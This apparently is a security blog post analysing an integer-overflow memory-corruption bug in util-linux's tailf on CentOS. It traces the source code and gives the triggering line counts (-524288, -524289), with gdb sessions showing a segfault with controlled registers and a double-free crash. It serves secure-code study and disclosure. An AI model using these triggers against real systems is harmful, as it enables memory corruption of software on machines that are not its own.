Note:
tailf vulnerability was reported to RedHat Product Security Team and based on following points we mutually agree that this issue creates extremely low, almost no security impact.
- Default util-linux package shipped with CentOS is vulnerable, but tailf is deprecated and removed in latest util-linux package. So just package upgrade is needed.
- Tailf is not "setuid", so no gain of additional privileges.
- Due to nature of exploitation, it is highly unlikely to trick another user to exploit this issue.
This report might be useful for practicing secure code analysis, so I decided to post this blog for interested readers.
Details:
======
man tailf
tailf will print out the last 10 lines of a file and then wait for the
file to grow. It is similar to tail -f but does not access the file
when it is not growing.
tailf application allows user to specify number of lines displayed on output. Due to improper integer
boundary checking on user controlled "lines" value, during memory allocation routines an attacker can trigger memory corruption.
Data flow:
=========
User controlled -n option is handled by old_style_options() and returns "long" value of lines parameter.
tailf.c
211 /* parses -N option */
212 static long old_style_option(int *argc, char **argv)
213 {
214 int i = 1, nargs = *argc;
215 long lines = -1;
216
217 while(i < nargs) {
218 if (argv[i][0] == '-' && isdigit(argv[i][1])) {
219 lines = strtol_or_err(argv[i] + 1,
220 _("failed to parse number of lines"));
221 nargs--;
222 if (nargs - i)
223 memmove(argv + i, argv + i + 1,
224 sizeof(char *) * (nargs - i));
225 } else
226 i++;
227 }
228 *argc = nargs;
229 return lines;
230 }
Returned "long" lines value is then passed to tailf() functiontailf.c
282 tailf(filename, lines);
tailf.c 51 static void
52 tailf(const char *filename, int lines)
53 {
54 char *buf, *p;
55 int head = 0;
56 int tail = 0;
57 FILE *str;
58 int i;
Notice that "long" lines value is casted to "integer" value. This leads to value truncation, but lets skip this for our analysis.The interesting code path is at line 63 in tailf() function.
tailf.c
60 if (!(str = fopen(filename, "r")))
61 err(EXIT_FAILURE, _("cannot open %s"), filename);
62
63 buf = xmalloc((lines ? lines : 1) * BUFSIZ);
Here, application calculate required allocated memory size using user controlled data. So this is a vulnerable code path.We can trick application to allocate less memory than expected size which could lead to memory corruption.xmalloc() function accepts input size as size_t which is unsigned integer. So for memory corruption we need to consider boundary condition for unsigned integer.
UINT_MAX value is 4294967295. If provided value is larger than UINT_MAX, it wraps around 0.
For trigger, we need value of lines = 4294967295 / BUFSIZE (8192) = 524287 + 1 = 524288
include/xalloc.h
23 void *xmalloc(const size_t size)
24 {
25 void *ret = malloc(size);
26
27 if (!ret && size)
28 err(XALLOC_EXIT_CODE, "cannot allocate %zu bytes", size);
29 return ret;
30 }
Breakpoint 7, tailf (filename=0xbffff627 "a.txt", lines=524288) at text-utils/tailf.c:63
63 buf = xmalloc((lines ? lines : 1) * BUFSIZ);
(gdb) s
xmalloc (size=0) at ./include/xalloc.h:25
25 void *ret = malloc(size);
(gdb)
As per glibc document - "Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size." So malloc(0) allocates very small amount of memory chunk. 64 p = buf;
65 while (fgets(p, BUFSIZ, str)) {
66 if (++tail >= lines) {
67 tail = 0;
68 head = 1;
69 }
70 p = buf + (tail * BUFSIZ);
71 }
fgets() reads BUFSIZ from str stream and copy into p (i.e. memory returned by malloc(0)) results into memory corruption.Program received signal SIGSEGV, Segmentation fault.
_IO_least_marker (fp=fp@entry=0x804f768, end_p=end_p@entry=0x41414141 <Address 0x41414141 out of bounds>) at genops.c:135
[developer@centos-x86 test]$ ulimit -c unlimited
[developer@centos-x86 test]$
[developer@centos-x86 test]$ tailf -524288 huge.txt
Segmentation fault (core dumped)
[developer@centos-x86 test]$ gdb -q -c core.2908
[New LWP 2908]
Missing separate debuginfo for the main executable file
Try: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/30/a39ee9c3a27a2a017df25861c1a6d2b73cf4d0
Core was generated by `tailf -524288 huge.txt'.
Program terminated with signal 11, Segmentation fault.
#0 0xb7621ce8 in ?? ()
(gdb) bt
#0 0xb7621ce8 in ?? ()
#1 0xb7621d22 in ?? ()
#2 0x09d98768 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) info r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0x41414141 1094795585
ebx 0xb7774000 -1216921600
esp 0xbfd2ae1c 0xbfd2ae1c
ebp 0x41414141 0x41414141
esi 0x9d98768 165250920
edi 0x41414141 1094795585
eip 0xb7621ce8 0xb7621ce8
eflags 0x10206 [ PF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Another interesting code path for analysis -
tailf.c
65 while (fgets(p, BUFSIZ, str)) {
66 if (++tail >= lines) {
67 tail = 0;
68 head = 1;
69 }
70 p = buf + (tail * BUFSIZ);
71 }
72
73 if (head) {
74 for (i = tail; i < lines; i++)
75 fputs(buf + (i * BUFSIZ), stdout);
76 for (i = 0; i < tail; i++)
77 fputs(buf + (i * BUFSIZ), stdout);
78 } else {
79 for (i = head; i < tail; i++)
80 fputs(buf + (i * BUFSIZ), stdout);
81 }
82
83 fflush(stdout);
84 free(buf);
85 fclose(str);
86 }
[developer@centos-x86 test]$ cat a.txt
AAAAAAAAAA
BBBBBBBBBB
CCCCCC
[developer@centos-x86 test]$ gdb /usr/bin/tailf
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-110.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-redhat-linux-gnu".
For bug eporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/tailf...done.
(gdb)
(gdb) r -524289 a.txt
*** Error in `/usr/bin/tailf': double free or corruption (!prev): 0x0804f8d0 ***
======= Backtrace: =========
/lib/libc.so.6(+0x798ad)[0xb7e748ad]
/usr/bin/tailf[0x804916d]
/usr/bin/tailf[0x80498a4]
/lib/libc.so.6(__libc_start_main+0xf3)[0xb7e151b3]
/usr/bin/tailf[0x8048dd1]
======= Memory map: ========
08048000-0804c000 r-xp 00000000 fd:00 720542 /usr/bin/tailf
0804c000-0804d000 r--p 00003000 fd:00 720542 /usr/bin/tailf
0804d000-0804e000 rw-p 00004000 fd:00 720542 /usr/bin/tailf
0804e000-0806f000 rw-p 00000000 00:00 0 [heap]
b7900000-b7921000 rw-p 00000000 00:00 0
b7921000-b7a00000 ---p 00000000 00:00 0
b7a9b000-b7ab4000 r-xp 00000000 fd:00 70880884 /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab4000-b7ab5000 r--p 00018000 fd:00 70880884 /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7ab5000-b7ab6000 rw-p 00019000 fd:00 70880884 /usr/lib/libgcc_s-4.8.5-20150702.so.1
b7aca000-b7bfa000 r--p 0019b000 fd:00 100980597 /usr/lib/locale/locale-archive
b7bfa000-b7dfa000 r--p 00000000 fd:00 100980597 /usr/lib/locale/locale-archive
b7dfa000-b7dfb000 rw-p 00000000 00:00 0
b7dfb000-b7fbf000 r-xp 00000000 fd:00 67379892 /usr/lib/libc-2.17.so
b7fbf000-b7fc0000 ---p 001c4000 fd:00 67379892 /usr/lib/libc-2.17.so
b7fc0000-b7fc2000 r--p 001c4000 fd:00 67379892 /usr/lib/libc-2.17.so
b7fc2000-b7fc3000 rw-p 001c6000 fd:00 67379892 /usr/lib/libc-2.17.so
b7fc3000-b7fc6000 rw-p 00000000 00:00 0
b7fd6000-b7fd9000 rw-p 00000000 00:00 0
b7fd9000-b7fda000 r--p 01162000 fd:00 100980597 /usr/lib/locale/locale-archive
b7fda000-b7fdb000 rw-p 00000000 00:00 0
b7fdb000-b7fdc000 r-xp 00000000 00:00 0 [vdso]
b7fdc000-b7ffe000 r-xp 00000000 fd:00 67379885 /usr/lib/ld-2.17.so
b7ffe000-b7fff000 r--p 00021000 fd:00 67379885 /usr/lib/ld-2.17.so
b7fff000-b8000000 rw-p 00022000 fd:00 67379885 /usr/lib/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]